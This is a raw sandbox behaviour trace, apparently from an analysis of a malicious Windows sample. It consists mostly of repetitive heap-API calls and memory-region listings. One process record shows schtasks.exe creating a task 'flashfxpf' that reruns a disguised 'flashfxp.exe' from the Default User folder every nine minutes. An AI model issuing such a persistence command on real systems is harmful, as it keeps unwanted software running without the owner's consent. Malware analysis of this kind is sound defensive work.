[0162.952] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c270) returned 0x14 [0162.952] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c270 | out: hHeap=0x170000) returned 1 [0162.952] GetProcessHeap () returned 0x170000 [0162.952] GetProcessHeap () returned 0x170000 [0162.952] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c250) returned 1 [0162.952] GetProcessHeap () returned 0x170000 [0162.952] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c250) returned 0x18 [0162.952] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c250 | out: hHeap=0x170000) returned 1 [0162.952] GetProcessHeap () returned 0x170000 [0162.952] GetProcessHeap () returned 0x170000 [0162.952] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b80) returned 1 [0162.953] GetProcessHeap () returned 0x170000 [0162.953] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b80) returned 0x20 [0162.953] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b80 | out: hHeap=0x170000) returned 1 [0162.953] GetProcessHeap () returned 0x170000 [0162.953] GetProcessHeap () returned 0x170000 [0162.953] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c290) returned 1 [0162.953] GetProcessHeap () returned 0x170000 [0162.953] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c290) returned 0x16 [0162.953] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c290 | out: hHeap=0x170000) returned 1 [0162.953] GetProcessHeap () returned 0x170000 [0162.953] GetProcessHeap () returned 0x170000 [0162.953] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c210) returned 1 [0162.953] GetProcessHeap () returned 0x170000 [0162.953] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c210) returned 0x18 [0162.953] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c210 | out: hHeap=0x170000) returned 1 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b50) returned 1 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b50) returned 0x20 [0162.954] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b50 | out: hHeap=0x170000) returned 1 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba40) returned 1 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ba40) returned 0x2 [0162.954] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba40 | out: hHeap=0x170000) returned 1 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1859a0) returned 1 [0162.954] GetProcessHeap () returned 0x170000 [0162.954] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1859a0) returned 0x20 [0162.955] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1859a0 | out: hHeap=0x170000) returned 1 [0162.955] GetProcessHeap () returned 0x170000 [0162.955] GetProcessHeap () returned 0x170000 [0162.955] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1859d0) returned 1 [0162.955] GetProcessHeap () returned 0x170000 [0162.955] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1859d0) returned 0x20 [0162.955] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1859d0 | out: hHeap=0x170000) returned 1 [0162.955] GetProcessHeap () returned 0x170000 [0162.955] GetProcessHeap () returned 0x170000 [0162.955] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185a00) returned 1 [0162.955] GetProcessHeap () returned 0x170000 [0162.955] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185a00) returned 0x20 [0162.956] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185a00 | out: hHeap=0x170000) returned 1 [0162.956] GetProcessHeap () returned 0x170000 [0162.956] GetProcessHeap () returned 0x170000 [0162.956] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185a30) returned 1 [0162.956] GetProcessHeap () returned 0x170000 [0162.956] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185a30) returned 0x20 [0162.956] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185a30 | out: hHeap=0x170000) returned 1 [0162.956] GetProcessHeap () returned 0x170000 [0162.956] GetProcessHeap () returned 0x170000 [0162.956] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cbb0) returned 1 [0162.957] GetProcessHeap () returned 0x170000 [0162.957] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cbb0) returned 0x20 [0162.957] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cbb0 | out: hHeap=0x170000) returned 1 [0162.957] GetProcessHeap () returned 0x170000 [0162.957] GetProcessHeap () returned 0x170000 [0162.957] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d670) returned 1 [0162.957] GetProcessHeap () returned 0x170000 [0162.957] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d670) returned 0xa [0162.957] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d670 | out: hHeap=0x170000) returned 1 [0162.957] GetProcessHeap () returned 0x170000 [0162.957] GetProcessHeap () returned 0x170000 [0162.957] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cbe0) returned 1 [0162.957] GetProcessHeap () returned 0x170000 [0162.957] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cbe0) returned 0x20 [0162.958] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cbe0 | out: hHeap=0x170000) returned 1 [0162.958] GetProcessHeap () returned 0x170000 [0162.958] GetProcessHeap () returned 0x170000 [0162.958] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x187ac0) returned 1 [0162.958] GetProcessHeap () returned 0x170000 [0162.958] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x187ac0) returned 0x30 [0162.958] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x187ac0 | out: hHeap=0x170000) returned 1 [0162.959] GetProcessHeap () returned 0x170000 [0162.959] GetProcessHeap () returned 0x170000 [0162.959] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc10) returned 1 [0162.959] GetProcessHeap () returned 0x170000 [0162.959] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cc10) returned 0x20 [0162.959] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc10 | out: hHeap=0x170000) returned 1 [0162.959] GetProcessHeap () returned 0x170000 [0162.959] GetProcessHeap () returned 0x170000 [0162.959] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x187b00) returned 1 [0162.959] GetProcessHeap () returned 0x170000 [0162.959] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x187b00) returned 0x30 [0162.960] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x187b00 | out: hHeap=0x170000) returned 1 [0162.960] GetProcessHeap () returned 0x170000 [0162.960] GetProcessHeap () returned 0x170000 [0162.960] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce20) returned 1 [0162.960] GetProcessHeap () returned 0x170000 [0162.960] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce20) returned 0x20 [0162.960] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce20 | out: hHeap=0x170000) returned 1 [0162.960] GetProcessHeap () returned 0x170000 [0162.960] GetProcessHeap () returned 0x170000 [0162.960] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d590) returned 1 [0162.960] GetProcessHeap () returned 0x170000 [0162.960] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d590) returned 0x10 [0162.960] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d590 | out: hHeap=0x170000) returned 1 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdf0) returned 1 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdf0) returned 0x20 [0162.961] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdf0 | out: hHeap=0x170000) returned 1 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5b0) returned 1 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d5b0) returned 0x10 [0162.961] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5b0 | out: hHeap=0x170000) returned 1 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdc0) returned 1 [0162.961] GetProcessHeap () returned 0x170000 [0162.961] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdc0) returned 0x20 [0162.962] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdc0 | out: hHeap=0x170000) returned 1 [0162.962] GetProcessHeap () returned 0x170000 [0162.962] GetProcessHeap () returned 0x170000 [0162.962] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5d0) returned 1 [0162.962] GetProcessHeap () returned 0x170000 [0162.962] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d5d0) returned 0xe [0162.962] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5d0 | out: hHeap=0x170000) returned 1 [0162.962] GetProcessHeap () returned 0x170000 [0162.962] GetProcessHeap () returned 0x170000 [0162.962] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd90) returned 1 [0162.962] GetProcessHeap () returned 0x170000 [0162.962] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd90) returned 0x20 [0162.962] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd90 | out: hHeap=0x170000) returned 1 [0162.962] GetProcessHeap () returned 0x170000 [0162.962] GetProcessHeap () returned 0x170000 [0162.963] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5f0) returned 1 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d5f0) returned 0x16 [0162.963] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5f0 | out: hHeap=0x170000) returned 1 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd60) returned 1 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd60) returned 0x20 [0162.963] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd60 | out: hHeap=0x170000) returned 1 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d610) returned 1 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d610) returned 0x16 [0162.963] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d610 | out: hHeap=0x170000) returned 1 [0162.963] GetProcessHeap () returned 0x170000 [0162.963] GetProcessHeap () returned 0x170000 [0162.964] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd30) returned 1 [0162.964] GetProcessHeap () returned 0x170000 [0162.964] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd30) returned 0x20 [0162.964] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd30 | out: hHeap=0x170000) returned 1 [0162.964] GetProcessHeap () returned 0x170000 [0162.964] GetProcessHeap () returned 0x170000 [0162.964] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x1a9d70) returned 1 [0162.964] GetProcessHeap () returned 0x170000 [0162.964] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1a9d70) returned 0x82 [0162.965] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a9d70 | out: hHeap=0x170000) returned 1 [0162.965] GetProcessHeap () returned 0x170000 [0162.965] GetProcessHeap () returned 0x170000 [0162.965] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd00) returned 1 [0162.965] GetProcessHeap () returned 0x170000 [0162.965] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd00) returned 0x20 [0162.965] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd00 | out: hHeap=0x170000) returned 1 [0162.965] GetProcessHeap () returned 0x170000 [0162.965] GetProcessHeap () returned 0x170000 [0162.965] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d650) returned 1 [0162.965] GetProcessHeap () returned 0x170000 [0162.965] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d650) returned 0xe [0163.071] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d650 | out: hHeap=0x170000) returned 1 [0163.071] GetProcessHeap () returned 0x170000 [0163.071] GetProcessHeap () returned 0x170000 [0163.071] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccd0) returned 1 [0163.071] GetProcessHeap () returned 0x170000 [0163.071] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ccd0) returned 0x20 [0163.072] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ccd0 | out: hHeap=0x170000) returned 1 [0163.072] GetProcessHeap () returned 0x170000 [0163.072] GetProcessHeap () returned 0x170000 [0163.073] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba60) returned 1 [0163.073] GetProcessHeap () returned 0x170000 [0163.073] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ba60) returned 0x18 [0163.073] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba60 | out: hHeap=0x170000) returned 1 [0163.073] GetProcessHeap () returned 0x170000 [0163.073] GetProcessHeap () returned 0x170000 [0163.073] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185a60) returned 1 [0163.073] GetProcessHeap () returned 0x170000 [0163.073] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185a60) returned 0x20 [0163.074] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185a60 | out: hHeap=0x170000) returned 1 [0163.074] GetProcessHeap () returned 0x170000 [0163.074] GetProcessHeap () returned 0x170000 [0163.074] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185a90) returned 1 [0163.074] GetProcessHeap () returned 0x170000 [0163.075] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185a90) returned 0x20 [0163.075] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185a90 | out: hHeap=0x170000) returned 1 [0163.075] GetProcessHeap () returned 0x170000 [0163.075] GetProcessHeap () returned 0x170000 [0163.075] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185ac0) returned 1 [0163.076] GetProcessHeap () returned 0x170000 [0163.076] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185ac0) returned 0x20 [0163.076] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ac0 | out: hHeap=0x170000) returned 1 [0163.076] GetProcessHeap () returned 0x170000 [0163.076] GetProcessHeap () returned 0x170000 [0163.076] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185af0) returned 1 [0163.077] GetProcessHeap () returned 0x170000 [0163.077] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185af0) returned 0x20 [0163.077] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185af0 | out: hHeap=0x170000) returned 1 [0163.077] GetProcessHeap () returned 0x170000 [0163.077] GetProcessHeap () returned 0x170000 [0163.078] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba80) returned 1 [0163.078] GetProcessHeap () returned 0x170000 [0163.078] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ba80) returned 0x18 [0163.078] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba80 | out: hHeap=0x170000) returned 1 [0163.078] GetProcessHeap () returned 0x170000 [0163.078] GetProcessHeap () returned 0x170000 [0163.078] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185b20) returned 1 [0163.078] GetProcessHeap () returned 0x170000 [0163.078] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b20) returned 0x20 [0163.079] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b20 | out: hHeap=0x170000) returned 1 [0163.079] GetProcessHeap () returned 0x170000 [0163.079] GetProcessHeap () returned 0x170000 [0163.079] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185bb0) returned 1 [0163.079] GetProcessHeap () returned 0x170000 [0163.079] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185bb0) returned 0x20 [0163.080] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185bb0 | out: hHeap=0x170000) returned 1 [0163.080] GetProcessHeap () returned 0x170000 [0163.080] GetProcessHeap () returned 0x170000 [0163.080] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c10) returned 1 [0163.081] GetProcessHeap () returned 0x170000 [0163.081] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c10) returned 0x20 [0163.081] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c10 | out: hHeap=0x170000) returned 1 [0163.081] GetProcessHeap () returned 0x170000 [0163.081] GetProcessHeap () returned 0x170000 [0163.082] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c70) returned 1 [0163.082] GetProcessHeap () returned 0x170000 [0163.082] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c70) returned 0x20 [0163.082] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c70 | out: hHeap=0x170000) returned 1 [0163.082] GetProcessHeap () returned 0x170000 [0163.082] GetProcessHeap () returned 0x170000 [0163.083] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185ca0) returned 1 [0163.083] GetProcessHeap () returned 0x170000 [0163.083] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185ca0) returned 0x20 [0163.083] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ca0 | out: hHeap=0x170000) returned 1 [0163.083] GetProcessHeap () returned 0x170000 [0163.083] GetProcessHeap () returned 0x170000 [0163.084] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18baa0) returned 1 [0163.084] GetProcessHeap () returned 0x170000 [0163.084] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18baa0) returned 0x18 [0163.084] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18baa0 | out: hHeap=0x170000) returned 1 [0163.084] GetProcessHeap () returned 0x170000 [0163.084] GetProcessHeap () returned 0x170000 [0163.084] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185be0) returned 1 [0163.084] GetProcessHeap () returned 0x170000 [0163.084] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185be0) returned 0x20 [0163.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185be0 | out: hHeap=0x170000) returned 1 [0163.085] GetProcessHeap () returned 0x170000 [0163.085] GetProcessHeap () returned 0x170000 [0163.085] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba20) returned 1 [0163.085] GetProcessHeap () returned 0x170000 [0163.086] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ba20) returned 0x18 [0163.086] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ba20 | out: hHeap=0x170000) returned 1 [0163.086] exit (_Code=0) Thread: id = 219 os_tid = 0xa30 Process: id = "64" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3ee48000" os_pid = "0xa34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4744 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4745 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4746 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4747 start_va = 0x160000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4748 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4749 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4750 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4751 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4752 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4753 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4754 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4755 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4756 start_va = 0x1e0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4757 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4758 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4759 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4760 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4761 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4762 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4763 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4764 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4765 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4766 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4767 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4768 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4769 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4770 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4771 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4772 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4773 start_va = 0x300000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 4774 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 4775 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4776 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4777 start_va = 0x4e0000 end_va = 0x667fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 4778 